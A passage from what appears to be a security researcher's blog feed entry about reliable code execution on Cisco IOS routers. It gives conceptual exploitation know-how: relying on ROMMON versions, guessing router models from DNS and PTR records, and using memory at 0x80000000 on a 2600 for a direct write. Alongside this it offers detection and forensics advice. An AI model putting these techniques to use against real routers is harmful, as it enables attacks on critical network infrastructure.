people attacking IOS devices, successful or not. But then again, it's
hard to write a detection for the unknown, so we also had to look
into finding ways to get code execution stable. The method presented
at the 25C3 (and <A HREF="http://cir.recurity.com/wiki/PPCreliableCodeExec.ashx" TARGET="_blank">documented
here</A>, feel free to post questions in the discussion section) only
reduces the number of things you have to know about your target, it
doesn't eradicate the problem in general. Now, we only need to know
the ROMMON version and there are a lot less ROMMONs than IOS images
out there. </FONT>
</P>
<P><FONT FACE="Arial">For smaller machines, such as 2600s, updating
ROMMON did not seem to be supported and the version depends on the
shipping date. However, after closer inspection, here comes an
<B>errata</B>: Cisco does offer 6 updated ROMMONs for 2600 routers.
For larger machines, e.g. 7206s, there are about 36 different
versions known. That's a few magnitudes smaller than 280715. But it
is also still far from the ultimate truth, as you still need to know
and have that ROMMON as well as knowing a few things of the box, most
importantly the hardware series. Some people like to include the
hardware series in their router's DNS records or name the PTR records
of the IP addresses bound to a router's interface after the interface
itself, which allows to guess what type of metal it is.</FONT></P>
<P><FONT FACE="Arial">Knowing the hardware platform is actually more
important for the first and second stage shellcode than it is for
getting stable code execution, as the same ROMMON seems to be
applicable to a number of subtypes of routers, while one subtype may
have memory wired into different addresses than the other. But being
lucky is also a valid option, which is what happened when we selected
the memory area for a direct write: I assumed the memory at
0x80000000 on a 2600 is used for global IOS variable pointers, which
is incorrect. So, <B>errata #2</B>: I was made aware that this is of
course the exception vectors, after the MMU is turned on.
Accordingly, this is a very good place to store two instructions.</FONT></P>
<P><FONT FACE="Arial">There is still a lot to do and research when it
comes to Cisco IOS and security. But the stable, image independent
code execution at least allows us finally to draw better assumptions
about the attacks we should be looking for. It shows nicely that,
even with CIR, we should not try to detect the exploitation while it
happens, but focus on the shellcode functionality and the footprints
it leaves. And the <A HREF="http://www.cisco.com/en/US/products/products_security_advisory09186a00807cb157.shtml" TARGET="_blank">IP
options vulnerability</A> is a perfect example why critical
infrastructure should always dump the core files onto its own FLASH
device, as dumping core over FTP doesn't really work to well when
your &ldquo;IP Input&rdquo; process just got popped.</FONT></P>]]></description>

</item>
</channel>
</rss>

